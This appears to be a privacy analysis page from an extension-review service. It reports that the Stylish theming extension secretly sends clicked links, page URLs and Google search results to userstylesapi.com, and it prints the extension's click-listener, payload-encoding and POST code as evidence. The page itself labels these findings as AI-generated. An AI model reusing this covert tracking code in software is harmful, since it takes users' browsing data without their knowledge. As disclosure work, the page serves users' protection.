Is Stylish - Custom themes for any website safe?
Stylish transmits your full browsing history, link clicks, and Google search results to userstylesapi.com on every page navigation.
On each tab navigation, Stylish encodes the current and previous page URLs along with a persistent user identifier and sends them to userstylesapi.com/tic/stats. Every link you click, right-click, or middle-click on any website has its URL captured and included in the next transmission. When you visit Google search pages, Stylish additionally scrapes all organic results and ad listings — including titles, URLs, and descriptions — and forwards that data to the same endpoint.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Clicked link URLs sent to userstylesapi.com
Clicking, right-, or middle-clicking a link makes Stylish read its destination and add it to the next stats request to userstylesapi.com.
The content script runs on all pages/frames, storing the href as `tax` before encoding it in.
You interact with a link while browsing a page.
The listener covers normal clicks, right-click context menus, and middle-click or auxiliary clicks.
Stylish reads the link destination and queues it for a statistics request.
The background page stores the href as a `tax` value tied to the current tab.
| Field | Value | Why it matters | |
|---|---|---|---|
Clicked link destination | https://www.mozilla.org/en-US/firefox/new/ (illustrative) | Shows the exact link you selected, which can reveal what articles, documents, search results, or internal tools you chose to open. | |
Page you were browsing | https://news.ycombinator.com/item?id=41234567 (illustrative) | Adds browsing context around the click, tying the selected link to the page where you encountered it. | |
Request time | 2026-07-12T23:43:02Z (illustrative) | Places the click in time, which helps build a sequence of browsing activity. |
| Content-type | application/x-www-form-urlencoded |
The shipped code path from click listener to encoded POST
document.body.addEventListener("click", function(event) {
if(event.target.href) {
chrome.runtime.sendMessage({tax: event.target.href});
}
});
document.body.addEventListener('contextmenu', function(event) {
if(event.target.href) {
chrome.runtime.sendMessage({tax: event.target.href});
}
return false;
}, false);
document.body.addEventListener("auxclick", function(event) {
if(event.target.href) {
chrome.runtime.sendMessage({tax: event.target.href});
}
});chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
switch (request.method) {
case "getStyles":
var styles = getStyles(request, sendResponse);
// check if this is a main content frame style enumeration
if (request.matchUrl && !request.id
&& sender && sender.tab && sender.frameId == 0
&& sender.tab.url == request.matchUrl) {
updateIcon(sender.tab, styles);
}
return true;
case "saveStyle":
saveStyle(request, sendResponse);
return true;
case 'installedEditorsChoice':
localStorage.setItem('dfg', 'true');
break;
case "invalidateCache":
if (typeof invalidateCache != "undefined") {
invalidateCache(false);
}
break;
case "healthCheck":
getDatabase(function () {
sendResponse(true);
}, function () {
sendResponse(false);
});
return true;
case "openURL":
openURL(request);
break;
case "styleDisableAll":
chrome.contextMenus.update("disableAll", {checked: request.disableAll});
break;
case "prefChanged":
if (request.prefName == "show-badge") {
chrome.contextMenus.update("show-badge", {checked: request.value});
}
break;
case "updateRightClick":
setContextMenuForSerp(request, sender, sendResponse);
return true;
break;
case "reload":
chrome.runtime.reload();
sendResponse();
break;
}
if (request.tax) {
stylesUpdater.updateQueryParams(sender.tab.id, {tax: request.tax});
}
});function makePayload(pl) {
return Object.keys(pl).filter(function (key) {
var black = ["stylesCache"];
var conditions = [
"reset", "query", "params", "forced", "online", "switched"
].map(function (key) {
return prefs.get("rc")[key]
});
return black.indexOf(key) == -1 && (!!pl[key] || false === pl[key]) && conditions.indexOf(key) === -1;
}).map(function (p) {
var val = pl[p];
if (["gp", "ver", "knl", "tax"].indexOf(p) > -1) {
val = PIIFilter.analysePII(val).string;
val = encodeURIComponent(val || '');
}
if ("ra" === p)
val = encodeURIComponent(val || '');
return p + '=' + val;
}).join('&');
}function updateStylesInfo(beautyInfo, id, callback) {
isIncognitoInFF(id, (res) => {
if (res && res[0] === true) {
return;
}
var e = prefs.get("enc");
var checkStyles = prefs.get('popup.checkNewStyles') || false;
if (!checkStyles || !checkStyles.popupCheckEnabled() || !Object.keys(checkStyles).length) {
return;
}
beautyInfo.st = Date.now();
beautyInfo.ch = 9;
subIdFetch(() => {
beautyInfo.di = sub_id || 'a7b0e421a';
var bqa = makePayload(beautyInfo);
var payload = btoa(bqa);
var xhr = new XMLHttpRequest();
xhr.open('POST', checkStyles.popupCheckPath(), true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
if (typeof beautyInfo.lz !== "string") {
xhr.setRequestHeader("styl", getDomainName(beautyInfo.gp));
}
xhr.onload = function (e) {
if (this.status == 200) {
var parsedResp;
try {
parsedResp = this.response;
} catch (e) {
console.log(
'unable to update styles: incorrect response from server: ',
this.response, e
);
}
if (!(typeof(parsedResp) == "undefined"))
callback(JSON.parse(parsedResp));
}
};
var b0 = ['e', prefs.get("enc").prepEncode(payload, e.b64[0], "r")];
b0[1] = encodeURIComponent(b0[1]);
b0 = b0.join('=');
xhr.send(b0);
});
});
}- userstylesapi.com
Receives the styles statistics POST at /tic/stats; the verified decoded payload contained the clicked href in the tax field.